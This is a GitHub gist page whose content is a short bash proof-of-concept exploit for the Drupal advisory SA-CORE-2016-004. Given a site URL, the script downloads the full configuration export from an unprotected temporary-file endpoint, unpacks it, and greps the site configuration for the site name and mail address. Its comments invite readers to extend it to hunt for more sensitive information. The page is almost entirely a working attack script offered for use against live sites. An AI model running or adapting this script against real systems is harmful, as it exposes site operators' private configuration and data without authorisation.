Skip to content

Instantly share code, notes, and snippets.

@qkaiser
Created November 10, 2016 14:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save qkaiser/6d24e70dcd89b408c621fe1ac045c3b8 to your computer and use it in GitHub Desktop.
Save qkaiser/6d24e70dcd89b408c621fe1ac045c3b8 to your computer and use it in GitHub Desktop.
#!/bin/bash
#
# PoC for SA-CORE-2016-004
# Full config export can be downloaded without administrative permissions
#
# The idea is to grep for sensitive information within the exported
# config files. Feel free to add your own findings :)
#
###############################################################################
if [ $# -ne 1 ]; then
echo "Usage: $0 URL"
else
URL=${1%/}
ARCHIVE=`mktemp`
rm $ARCHIVE
mkdir $ARCHIVE
curl -s "$URL/system/temporary?file=config.tar.gz" > "$ARCHIVE\.tar.gz"
tar xzvf "$ARCHIVE\.tar.gz" -C $ARCHIVE >/dev/null
grep name "$ARCHIVE/system.site.yml"
grep mail "$ARCHIVE/system.site.yml"
rm -rf "$ARCHIVE"
rm "$ARCHIVE\.tar.gz"
fi
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment